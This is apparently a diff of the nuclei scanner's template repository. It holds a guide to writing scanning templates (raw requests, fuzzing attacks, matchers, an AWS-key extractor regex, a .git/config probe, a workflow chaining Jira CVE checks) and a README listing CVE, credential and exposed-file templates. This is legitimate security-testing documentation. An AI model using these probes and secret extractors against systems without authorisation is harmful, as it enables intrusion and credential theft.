||||
Host: {{Hostname}}
|
||||
Accept: a1/b1
|
||||
- |
|
||||
POST /path2/ HTTP/1.1
|
||||
User-Agent: chrome
|
||||
Host: {{Hostname}}
|
||||
Accept: a2/b2
|
||||
|
||||
This is the request Body
|
||||
```
|
||||
|
||||
Otherwise you can define structured requests as described in the following paragraphs. Requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers. A recent addition in raw requests has been the introduction of intruder-like functionalities. It's possible to define placeholders as `{{placeholder}}`, and perform Sniper, Pitchfork and ClusterBomb attacks. The wordlist for these attacks needs to be defined during the request definition under the `Payload` field. Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values. Here follows an example:
|
||||
|
||||
```yaml
|
||||
id: dummy-raw
|
||||
info:
|
||||
name: Example-Fuzzing
|
||||
|
||||
requests:
|
||||
- payloads:
|
||||
param_a: /home/user/wordlist_param_a.txt
|
||||
param_b: /home/user/wordlist_param_b.txt
|
||||
attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
|
||||
raw:
|
||||
# Request with simple param and header manipulation with DSL functions
|
||||
- |
|
||||
POST /?param_a={{param_a}}¶mb={{param_b}} HTTP/1.1
|
||||
User-Agent: {{param_a}}
|
||||
Host: {{Hostname}}
|
||||
another_header: {{base64(param_b)}}
|
||||
Accept: */*
|
||||
|
||||
This is the Body
|
||||
# Request with body manipulation
|
||||
- |
|
||||
DELETE / HTTP/1.1
|
||||
User-Agent: nuclei
|
||||
Host: {{Hostname}}
|
||||
|
||||
This is the body {{sha256(param_a)}}
|
||||
# Yet another one
|
||||
- |
|
||||
PUT / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "title"
|
||||
- "body"
|
||||
```
|
||||
|
||||
This functionality is **not optimized** for speed as the internal http library needs to be set explicitly with connection reuse policy.
|
||||
|
||||
#### Method
|
||||
|
||||
First thing in the request is **method**. Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc depending on the needs.
|
||||
|
||||
```yaml
|
||||
# Method is the method for the request
|
||||
method: GET
|
||||
```
|
||||
|
||||
#### Redirects
|
||||
|
||||
Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
|
||||
|
||||
An example of the usage:
|
||||
|
||||
```yaml
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/login.php
|
||||
redirects: true
|
||||
max-redirects: 3
|
||||
```
|
||||
|
||||
#### Path
|
||||
|
||||
The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
1. **BaseURL** - Placing BaseURL as a variable in the path will lead to it being replaced on runtime in the request by the original URL as specified in the target file.
|
||||
2. **Hostname** - Hostname variable is replaced by the hostname of the target on runtime.
|
||||
|
||||
Some sample dynamic variable replacement examples:
|
||||
|
||||
```yaml
|
||||
path: {{BaseURL}}/.git/config
|
||||
# This path will be replaced on execution with BaseURL
|
||||
# If BaseURL is set to https://abc.com then the
|
||||
# path will get replaced to the following: https://abc.com/.git/config
|
||||
```
|
||||
|
||||
Multiple paths can also be specified in one request which will be requested for the target.
|
||||
|
||||
#### Headers
|
||||
|
||||
Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
|
||||
|
||||
```yaml
|
||||
# headers contains the headers for the request
|
||||
headers:
|
||||
# Custom user-agent header
|
||||
User-Agent: Some-Random-User-Agent
|
||||
# Custom request origin
|
||||
Origin: https://google.com
|
||||
```
|
||||
|
||||
#### Body
|
||||
|
||||
Body specifies a body to be sent along with the request. For instance:
|
||||
|
||||
```yaml
|
||||
# Body is a string sent along with the request
|
||||
body: "{\"some random JSON\"}"
|
||||
```
|
||||
|
||||
#### Matchers
|
||||
|
||||
Matchers are the core of nuclei. They are what make the tool so powerful. Multiple type of combinations and checks can be added to ensure that the results you get are free from false-positives.
|
||||
|
||||
##### Types
|
||||
|
||||
Multiple matchers can be specified in a request. There are basically 6 types of matchers:
|
||||
|
||||
| Matcher Type | Part Matched |
|
||||
| ------------ | -------------------------- |
|
||||
| status | Status Code of Response |
|
||||
| size | Content Length of Response |
|
||||
| word | Response body or headers |
|
||||
| regex | Response body or headers |
|
||||
| binary | Response body |
|
||||
| dsl | All Response Parts |
|
||||
|
||||
To match status codes for responses, you can use the following syntax.
|
||||
|
||||
```yaml
|
||||
matcher:
|
||||
# Match the status codes
|
||||
- type: status
|
||||
# Some status codes we want to match
|
||||
status:
|
||||
- 200
|
||||
- 302
|
||||
```
|
||||
|
||||
To match binary for hexadecimal responses, you can use the following syntax.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: binary
|
||||
binary:
|
||||
- "504B0304" # zip archive
|
||||
- "526172211A070100" # rar RAR archive version 5.0
|
||||
- "FD377A585A0000" # xz tar.xz archive
|
||||
condition: or
|
||||
part: body
|
||||
```
|
||||
|
||||
To match size, similar structure can be followed. If the status code of response from the site matches any single one specified in the matcher, the request is marked as successful.
|
||||
|
||||
**Word** and **Regex** matchers can be further configured depending on the needs of the users.
|
||||
|
||||
Complex matchers of type **dsl** allows to build more elaborated expressions with helper functions, this is an example of a complex DSL matcher:
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
|
||||
- "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
|
||||
```
|
||||
|
||||
Every part of a http response can be matched:
|
||||
|
||||
| Response Part | Description | Example |
|
||||
|------------------|-------------------------------------------------|---------------------------|
|
||||
| content_length | Header Content-Length | content_length >= 1024 |
|
||||
| status_code | Response Status Code | status_code==200 |
|
||||
| all_headers | Unique string containing all headers | len(all_headers) |
|
||||
| body | Body as string | len(body) |
|
||||
| header_name | Lowercase header name with "-" converted to "_" | len(user_agent) |
|
||||
| raw | Headers + Response | len(raw) |
|
||||
|
||||
This is the list for a dns response:
|
||||
|
||||
| Response Part | Description | Example |
|
||||
|------------------|-----------------------------------|---------------------------|
|
||||
| rcode | Response status | rcode == "NXDOMAIN |
|
||||
| question | Response Question Section | len(question) |
|
||||
| extra | Response Extra Section | len(extra) |
|
||||
| answer | Response Answers Section | len(answer) |
|
||||
| ns | Response Authority Section | len(ns) |
|
||||
| raw | Full Response | len(raw) |
|
||||
|
||||
The helper functions are:
|
||||
|
||||
| Helper Function | Description | Example |
|
||||
|-----------------|-------------------------------------------|------------------------------------------------------------------------------------------------|
|
||||
| len | Length of a string | len("Hello") // Result: 5 |
|
||||
| toupper | string to uppercase | toupper("Hello") // Result: "HELLO" |
|
||||
| tolower | string to lowercase | tolower("Hello") // Result: "hello" |
|
||||
| replace | Replace string parts | replace("Hello", "He", "Ha") // Result: "Hallo" |
|
||||
| trim | Remove trailing unicode chars | trim("aaaHelloddd", "ad") // Result: "Hello" |
|
||||
| trimleft | Remove unicode chars from left | trimleft("aaaHelloddd", "ad") // Result: "Helloddd" |
|
||||
| trimright | Remove unicode chars from right | trimleft("aaaHelloddd", "ad") // Result: "aaaHello" |
|
||||
| trimspace | Remove trailing spaces | trimspace(" Hello ") // Result: "Hello" |
|
||||
| trimprefix | Trim specified prefix | trimprefix("aaHelloaa", "aa") // Result: "Helloaa" |
|
||||
| trimsuffix | Trim specified suffix | trimsuffix("aaHelloaa", "aa") // Result: "aaHello" |
|
||||
| base64 | Encode string to base64 | base64("Hello") // Result: "SGVsbG8=" |
|
||||
| base64_decode | Decode string from base64 | base64_decode("SGVsbG8=") // Result: "Hello" |
|
||||
| url_encode | URL encode a string | url_encode("https://projectdiscovery.io/test?a=1") // Result: "https:%2F%2Fprojectdiscovery.io%3Ftest=1" |
|
||||
| url_decode | URL decode a string | url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") // Result: "https://projectdiscovery.io/test?a=1" |
|
||||
| hex_encode | Hex encode a string | hex_encode("aa") // Result: "6161" |
|
||||
| hex_decode | Hex decode a string | hex_decode("6161") // Result: "aa" |
|
||||
| html_escape | Hex encode a string | html_escape("<html><body>test</body></html>") // Result: "<html><body>test</body></html>" |
|
||||
| html_unescape | Hex decode a string | html_unescape("<html><body>test</body></html>") // Result: "<html><body>test</body></html>" |
|
||||
| md5 | Calculate md5 of string | md5("Hello") // Result: "8b1a9953c4611296a827abf8c47804d7" |
|
||||
| sha256 | Calculate sha256 of string | sha256("Hello") // Result: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969" |
|
||||
| sha1 | Calculate sha1 of string | sha1("Hello") // Result: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0" |
|
||||
| contains | Verify if a string contains another one | contains("Hello", "lo") // Result: True |
|
||||
| regex | Verify a regex versus a string | regex("H([a-z]+)o", "Hello") // Result: True |
|
||||
|
||||
##### Conditions
|
||||
|
||||
Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
|
||||
|
||||
1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
|
||||
2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
|
||||
|
||||
##### Matched Parts
|
||||
|
||||
Multiple parts of the response can also be matched for the request.
|
||||
|
||||
| Part | Matched Part |
|
||||
| ------ | ------------------------------------ |
|
||||
| body | Body of the response |
|
||||
| header | Header of the response |
|
||||
| all | Both body and header of the response |
|
||||
|
||||
Example matchers for response body using the AND condition:
|
||||
|
||||
```yaml
|
||||
matcher:
|
||||
# Match the body word
|
||||
- type: word
|
||||
# Some words we want to match
|
||||
words:
|
||||
- "[core]"
|
||||
- "[config]"
|
||||
# Both words must be found in the response body
|
||||
condition: and
|
||||
# We want to match request body (default)
|
||||
part: body
|
||||
```
|
||||
|
||||
Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
|
||||
|
||||
##### Multiple Matchers
|
||||
|
||||
Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
|
||||
|
||||
Here is an example of syntax for multiple matchers.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
name: php
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
- type: word
|
||||
name: node
|
||||
words:
|
||||
- "Server: NodeJS"
|
||||
- "X-Powered-By: nodejs"
|
||||
condition: or
|
||||
part: header
|
||||
- type: word
|
||||
name: python
|
||||
words:
|
||||
- "Python/2."
|
||||
- "Python/3."
|
||||
condition: or
|
||||
part: header
|
||||
```
|
||||
|
||||
##### Matchers Condition
|
||||
|
||||
While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
|
||||
|
||||
```yaml
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "PHP"
|
||||
part: body
|
||||
```
|
||||
|
||||
#### Extractors
|
||||
|
||||
Extractors are another important feature of nuclei. Extractors can be used to extract and display in results a match from the response body or headers based on a regular expression.
|
||||
|
||||
Currently only `regex` type extractors are supported. A sample extractor for extracting API keys from the response body is as follows:
|
||||
|
||||
```yaml
|
||||
# A list of extractors for text extraction
|
||||
extractors:
|
||||
# type of the extractor, only regex for now.
|
||||
- type: regex
|
||||
# part of the response to extract (can be headers, all too)
|
||||
part: body
|
||||
# regex to use for extraction.
|
||||
regex:
|
||||
- "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
|
||||
```
|
||||
|
||||
#### **Example HTTP Template**
|
||||
|
||||
The final template file for the `.git/config` file mentioned above is as follows:
|
||||
|
||||
```yaml
|
||||
id: git-config
|
||||
|
||||
info:
|
||||
name: Git Config File
|
||||
author: Ice3man
|
||||
severity: medium
|
||||
description: Searches for the pattern /.git/config on passed URLs.
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/.git/config"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "[core]"
|
||||
```
|
||||
|
||||
### DNS Requests
|
||||
|
||||
Requests start with a dns block which specifies the start of the requests for the template.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
dns:
|
||||
```
|
||||
|
||||
DNS requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
|
||||
|
||||
#### Type
|
||||
|
||||
First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
|
||||
|
||||
```yaml
|
||||
# type is the type for the dns request
|
||||
type: A
|
||||
```
|
||||
|
||||
#### Name
|
||||
|
||||
The next part of the requests is the **name** of the request path. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
|
||||
|
||||
Some sample dynamic variable replacement examples:
|
||||
|
||||
```yaml
|
||||
name: {{FQDN}}.com
|
||||
# This value will be replaced on execution with the FQDN.
|
||||
# If FQDN is https://this.is.an.example then the
|
||||
# name will get replaced to the following: this.is.an.example.com
|
||||
```
|
||||
|
||||
As of now the tool supports only one question per request.
|
||||
|
||||
#### Class
|
||||
|
||||
Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
|
||||
|
||||
```yaml
|
||||
# method is the class for the dns request
|
||||
class: inet
|
||||
```
|
||||
|
||||
#### Recursion
|
||||
|
||||
Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
|
||||
|
||||
```yaml
|
||||
# Recursion is a boolean determining if the request is recursive
|
||||
recursion: true
|
||||
```
|
||||
|
||||
#### Retries
|
||||
|
||||
Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
|
||||
|
||||
```yaml
|
||||
# Retries is a number of retries before giving up on dns resolution
|
||||
retries: 3
|
||||
```
|
||||
|
||||
#### Matchers
|
||||
|
||||
Matchers are just equal to HTTP, but the search is performed on the whole dns response, therefore it's not necessary to specify the **part**. Multiple type of combinations and checks can be added to ensure that the results you get are free from false positives. The complex **dsl** matcher type allows to build complex queries as described in the HTTP section.
|
||||
|
||||
##### Types
|
||||
|
||||
Multiple matchers can be specified in a request. There are basically 5 types of matchers:
|
||||
|
||||
| Matcher Type | Part Matched |
|
||||
| ------------ | -------------------------- |
|
||||
| size | Response size |
|
||||
| word | Response |
|
||||
| regex | Response |
|
||||
| binary | Response |
|
||||
| dsl | Response |
|
||||
|
||||
## **Example DNS Template**
|
||||
|
||||
The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
|
||||
|
||||
```yaml
|
||||
id: dummy-cname-a
|
||||
|
||||
info:
|
||||
name: Dummy A dns request
|
||||
author: mzack9999
|
||||
severity: none
|
||||
description: Checks if CNAME and A record is returned.
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: A
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
# The response must contains a CNAME record
|
||||
- "IN\tCNAME"
|
||||
# and also at least 1 A record
|
||||
- "IN\tA"
|
||||
condition: and
|
||||
```
|
||||
|
||||
# Chained workflow
|
||||
|
||||
It's also possible to create conditional templates which executes after matching the condition from the previous templates, mostly useful for vulnerability detection and exploitation and tech based detection and exploitation, single, multiple along with directory based templates can be executed in chained workflow template.
|
||||
|
||||
Chained workflow supports both HTTP and DNS request based templates.
|
||||
|
||||
Example of running single / multiple templates only if `detect-jira.yaml` is detected host running Jira application.
|
||||
|
||||
```yaml
|
||||
id: workflow-example
|
||||
info:
|
||||
name: Jira-Pawner
|
||||
author: mzack9999
|
||||
description: Detect Jira and if found; then check for CVEs in list.
|
||||
|
||||
variables:
|
||||
|
||||
# defining templates using variables.
|
||||
# variables names as user-defined, it could be anything.
|
||||
# relative path support is now added into the nuclei engine for better UX.
|
||||
|
||||
jira: panels/detect-jira.yaml
|
||||
jira_cve_1: cves/CVE-2018-20824.yaml
|
||||
jira_cve_2: cves/CVE-2019-3399.yaml
|
||||
jira_cve_3: cves/CVE-2019-11581.yaml
|
||||
jira_cve_4: cves/CVE-2017-18101.yaml
|
||||
|
||||
logic:
|
||||
|
|
||||
if jira() {
|
||||
jira_cve_1()
|
||||
jira_cve_2()
|
||||
jira_cve_3()
|
||||
jira_cve_4()
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
Example of running directory based templates when `detect-jira.yaml` is detected host running Jira application, based on this you can define your own workflow to run scans based on any or specific stacks.
|
||||
|
||||
```yaml
|
||||
id: workflow-example
|
||||
info:
|
||||
name: Jira-Pawner
|
||||
author: mzack9999
|
||||
description: Detect Jira and if found; perform custom pwn.
|
||||
|
||||
variables:
|
||||
|
||||
# defining templates using variables.
|
||||
# variables names as user-defined, it could be anything.
|
||||
# relative path support is now added into the nuclei engine for better UX.
|
||||
|
||||
jira: panels/detect-jira.yaml
|
||||
jira_pwn: my-jira-templates/
|
||||
|
||||
# defining directory to run all the templates
|
||||
|
||||
logic:
|
||||
|
|
||||
if jira() {
|
||||
jira_pwn()
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
File renamed without changes.
@@ -1,6 +1,398 @@
|
||||
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
|
||||
# Nuclei Templates
|
||||
|
||||
Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build new and your own custom templates.
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
[](https://github.com/projectdiscovery/nuclei-templates/releases)
|
||||
[](https://github.com/projectdiscovery/nuclei-templates/issues)
|
||||
[](https://twitter.com/pdnuclei)
|
||||
[](https://discord.gg/KECAGdH)
|
||||
|
||||
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
|
||||
|
||||
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
|
||||
|
||||
### nuclei templates `v7.1.2`
|
||||
|
||||
| Template Directory | Number of Templates |
|
||||
|---------------------------|--------------------------|
|
||||
| cves |125 |
|
||||
| default-credentials |03 |
|
||||
| dns |04 |
|
||||
| files |44 |
|
||||
| fuzzing |02 |
|
||||
| generic-detections |03 |
|
||||
| panels |39 |
|
||||
| security-misconfiguration |25 |
|
||||
| subdomain-takeover |02 |
|
||||
| technologies |32 |
|
||||
| tokens |08 |
|
||||
| vulnerabilities |33 |
|
||||
| workflows |15 |
|
||||
|
||||
### nuclei templates `v7.1.2` tree overview
|
||||
|
||||
<details>
|
||||
<summary>Template Directory</summary>
|
||||
|
||||
```
|
||||
├── cves
|
||||
│ ├── CVE-2005-2428.yaml
|
||||
│ ├── CVE-2014-6271.yaml
|
||||
│ ├── CVE-2017-10075.yaml
|
||||
│ ├── CVE-2017-11444.yaml
|
||||
│ ├── CVE-2017-14537.yaml
|
||||
│ ├── CVE-2017-14849.yaml
|
||||
│ ├── CVE-2017-5638.yaml
|
||||
│ ├── CVE-2017-7391.yaml
|
||||
│ ├── CVE-2017-7529.yaml
|
||||
│ ├── CVE-2017-7615.yaml
|
||||
│ ├── CVE-2017-9506.yaml
|
||||
│ ├── CVE-2017-9841.yaml
|
||||
│ ├── CVE-2018-0296.yaml
|
||||
│ ├── CVE-2018-1000129.yaml
|
||||
│ ├── CVE-2018-11409.yaml
|
||||
│ ├── CVE-2018-11759.yaml
|
||||
│ ├── CVE-2018-1247.yaml
|
||||
│ ├── CVE-2018-1271.yaml
|
||||
│ ├── CVE-2018-1273.yaml
|
||||
│ ├── CVE-2018-13379.yaml
|
||||
│ ├── CVE-2018-14728.yaml
|
||||
│ ├── CVE-2018-16341.yaml
|
||||
│ ├── CVE-2018-16763.yaml
|
||||
│ ├── CVE-2018-17431.yaml
|
||||
│ ├── CVE-2018-18069.yaml
|
||||
│ ├── CVE-2018-19386.yaml
|
||||
│ ├── CVE-2018-19439.yaml
|
||||
│ ├── CVE-2018-20824.yaml
|
||||
│ ├── CVE-2018-2791.yaml
|
||||
│ ├── CVE-2018-3714.yaml
|
||||
│ ├── CVE-2018-3760.yaml
|
||||
│ ├── CVE-2018-5230.yaml
|
||||
│ ├── CVE-2018-7490.yaml
|
||||
│ ├── CVE-2019-1010287.yaml
|
||||
│ ├── CVE-2019-10475.yaml
|
||||
│ ├── CVE-2019-11043.yaml
|
||||
│ ├── CVE-2019-11248.yaml
|
||||
│ ├── CVE-2019-11510.yaml
|
||||
│ ├── CVE-2019-11580.yaml
|
||||
│ ├── CVE-2019-12314.yaml
|
||||
│ ├── CVE-2019-12461.yaml
|
||||
│ ├── CVE-2019-12593.yaml
|
||||
│ ├── CVE-2019-14322.yaml
|
||||
│ ├── CVE-2019-14696.yaml
|
||||
│ ├── CVE-2019-14974.yaml
|
||||
│ ├── CVE-2019-15043.yaml
|
||||
│ ├── CVE-2019-15107.yaml
|
||||
│ ├── CVE-2019-15858.yaml
|
||||
│ ├── CVE-2019-16278.yaml
|
||||
│ ├── CVE-2019-1653.yaml
|
||||
│ ├── CVE-2019-16662.yaml
|
||||
│ ├── CVE-2019-16759-1.yaml
|
||||
│ ├── CVE-2019-16759.yaml
|
||||
│ ├── CVE-2019-16920.yaml
|
||||
│ ├── CVE-2019-17382.yaml
|
||||
│ ├── CVE-2019-17558.yaml
|
||||
│ ├── CVE-2019-18394.yaml
|
||||
│ ├── CVE-2019-19368.yaml
|
||||
│ ├── CVE-2019-19781.yaml
|
||||
│ ├── CVE-2019-19908.yaml
|
||||
│ ├── CVE-2019-19985.yaml
|
||||
│ ├── CVE-2019-2588.yaml
|
||||
│ ├── CVE-2019-2725.yaml
|
||||
│ ├── CVE-2019-3396.yaml
|
||||
│ ├── CVE-2019-3799.yaml
|
||||
│ ├── CVE-2019-5418.yaml
|
||||
│ ├── CVE-2019-6112.yaml
|
||||
│ ├── CVE-2019-6715.yaml
|
||||
│ ├── CVE-2019-7256.yaml
|
||||
│ ├── CVE-2019-7609.yaml
|
||||
│ ├── CVE-2019-8442.yaml
|
||||
│ ├── CVE-2019-8449.yaml
|
||||
│ ├── CVE-2019-8451.yaml
|
||||
│ ├── CVE-2019-8903.yaml
|
||||
│ ├── CVE-2019-8982.yaml
|
||||
│ ├── CVE-2019-9978.yaml
|
||||
│ ├── CVE-2020-10199.yaml
|
||||
│ ├── CVE-2020-10204.yaml
|
||||
│ ├── CVE-2020-11034.yaml
|
||||
│ ├── CVE-2020-1147.yaml
|
||||
│ ├── CVE-2020-12116.yaml
|
||||
│ ├── CVE-2020-12720.yaml
|
||||
│ ├── CVE-2020-13167.yaml
|
||||
│ ├── CVE-2020-13379.yaml
|
||||
│ ├── CVE-2020-14179.yaml
|
||||
│ ├── CVE-2020-14181.yaml
|
||||
│ ├── CVE-2020-15129.yaml
|
||||
│ ├── CVE-2020-15505.yaml
|
||||
│ ├── CVE-2020-15920.yaml
|
||||
│ ├── CVE-2020-16139.yaml
|
||||
│ ├── CVE-2020-17505.yaml
|
||||
│ ├── CVE-2020-17506.yaml
|
||||
│ ├── CVE-2020-2034.yaml
|
||||
│ ├── CVE-2020-2096.yaml
|
||||
│ ├── CVE-2020-2140.yaml
|
||||
│ ├── CVE-2020-24223.yaml
|
||||
│ ├── CVE-2020-24312.yaml
|
||||
│ ├── CVE-2020-2551.yaml
|
||||
│ ├── CVE-2020-25540.yaml
|
||||
│ ├── CVE-2020-3187.yaml
|
||||
│ ├── CVE-2020-3452.yaml
|
||||
│ ├── CVE-2020-5284.yaml
|
||||
│ ├── CVE-2020-5405.yaml
|
||||
│ ├── CVE-2020-5410.yaml
|
||||
│ ├── CVE-2020-5412.yaml
|
||||
│ ├── CVE-2020-5776.yaml
|
||||
│ ├── CVE-2020-5777.yaml
|
||||
│ ├── CVE-2020-5902.yaml
|
||||
│ ├── CVE-2020-6287.yaml
|
||||
│ ├── CVE-2020-7209.yaml
|
||||
│ ├── CVE-2020-7961.yaml
|
||||
│ ├── CVE-2020-8091.yaml
|
||||
│ ├── CVE-2020-8115.yaml
|
||||
│ ├── CVE-2020-8163.yaml
|
||||
│ ├── CVE-2020-8191.yaml
|
||||
│ ├── CVE-2020-8193.yaml
|
||||
│ ├── CVE-2020-8194.yaml
|
||||
│ ├── CVE-2020-8512.yaml
|
||||
│ ├── CVE-2020-8982.yaml
|
||||
│ ├── CVE-2020-9047.yaml
|
||||
│ ├── CVE-2020-9484.yaml
|
||||
│ ├── CVE-2020-9496.yaml
|
||||
│ ├── CVE-2020-9757.yaml
|
||||
│ ├── cve-2019-9733.yaml
|
||||
│ └── cve-2020-0618.yaml
|
||||
├── default-credentials
|
||||
│ ├── grafana-default-credential.yaml
|
||||
│ ├── rabbitmq-default-admin.yaml
|
||||
│ └── tomcat-manager-default.yaml
|
||||
├── dns
|
||||
│ ├── azure-takeover-detection.yaml
|
||||
│ ├── cname-service-detector.yaml
|
||||
│ ├── dead-host-with-cname.yaml
|
||||
│ └── servfail-refused-hosts.yaml
|
||||
├── files
|
||||
│ ├── apc-info.yaml
|
||||
│ ├── cgi-test-page.yaml
|
||||
│ ├── dir-listing.yaml
|
||||
│ ├── docker-registry.yaml
|
||||
│ ├── domcfg-page.yaml
|
||||
│ ├── druid-monitor.yaml
|
||||
│ ├── drupal-install.yaml
|
||||
│ ├── ds_store.yaml
|
||||
│ ├── elasticsearch.yaml
|
||||
│ ├── error-logs.yaml
|
||||
│ ├── exposed-kibana.yaml
|
||||
│ ├── exposed-svn.yaml
|
||||
│ ├── filezilla.yaml
|
||||
│ ├── firebase-detect.yaml
|
||||
│ ├── git-config.yaml
|
||||
│ ├── htaccess-config.yaml
|
||||
│ ├── jkstatus-manager.yaml
|
||||
│ ├── jolokia.yaml
|
||||
│ ├── laravel-env.yaml
|
||||
│ ├── lazy-file.yaml
|
||||
│ ├── ntlm-directories.yaml
|
||||
│ ├── php-errors.yaml
|
||||
│ ├── phpinfo.yaml
|
||||
│ ├── public-tomcat-instance.yaml
|
||||
│ ├── robots.txt.yaml
|
||||
│ ├── security.txt.yaml
|
||||
│ ├── server-status-localhost.yaml
|
||||
│ ├── shell-history.yaml
|
||||
│ ├── sql-dump.yaml
|
||||
│ ├── telerik-dialoghandler-detect.yaml
|
||||
│ ├── telerik-fileupload-detect.yaml
|
||||
│ ├── tomcat-scripts.yaml
|
||||
│ ├── wadl-files.yaml
|
||||
│ ├── web-config.yaml
|
||||
│ ├── wordpress-db-backup.yaml
|
||||
│ ├── wordpress-debug-log.yaml
|
||||
│ ├── wordpress-directory-listing.yaml
|
||||
│ ├── wordpress-emergency-script.yaml
|
||||
│ ├── wordpress-installer-log.yaml
|
||||
│ ├── wordpress-tmm-db-migrate.yaml
|
||||
│ ├── wordpress-user-enumeration.yaml
|
||||
│ ├── wp-xmlrpc.yaml
|
||||
│ ├── wsdl-detect.yaml
|
||||
│ └── zip-backup-files.yaml
|
||||
├── fuzzing
|
||||
│ ├── arbitrary-file-read.yaml
|
||||
│ └── directory-traversal.yaml
|
||||
├── generic-detections
|
||||
│ ├── basic-xss-prober.yaml
|
||||
│ ├── general-tokens.yaml
|
||||
│ └── top-15-xss.yaml
|
||||
├── panels
|
||||
│ ├── adminer-panel.yaml
|
||||
│ ├── aims-password-mgmt-client.yaml
|
||||
│ ├── atlassian-crowd-panel.yaml
|
||||
│ ├── cisco-asa-panel.yaml
|
||||
│ ├── citrix-adc-gateway-detect.yaml
|
||||
│ ├── compal.yaml
|
||||
│ ├── crxde.yaml
|
||||
│ ├── docker-api.yaml
|
||||
│ ├── fortinet-fortigate-panel.yaml
|
||||
│ ├── globalprotect-panel.yaml
|
||||
│ ├── go-anywhere-client.yaml
|
||||
│ ├── grafana-detect.yaml
|
||||
│ ├── iomega-lenovo-emc-shared-nas-detect.yaml
|
||||
│ ├── jenkins-asyncpeople.yaml
|
||||
│ ├── jmx-console.yaml
|
||||
│ ├── kubernetes-pods.yaml
|
||||
│ ├── mobileiron-login.yaml
|
||||
│ ├── mongo-express-web-gui.yaml
|
||||
│ ├── netscaler-gateway.yaml
|
||||
│ ├── network-camera-detect.yaml
|
||||
│ ├── parallels-html-client.yaml
|
||||
│ ├── pfsense-web-gui.yaml
|
||||
│ ├── phpmyadmin-panel.yaml
|
||||
│ ├── polycom-admin-detect.yaml
|
||||
│ ├── pulse-secure-panel.yaml
|
||||
│ ├── rabbitmq-dashboard.yaml
|
||||
│ ├── sap-netweaver-detect.yaml
|
||||
│ ├── sap-recon-detect.yaml
|
||||
│ ├── sonarqube-login.yaml
|
||||
│ ├── sophos-fw-version-detect.yaml
|
||||
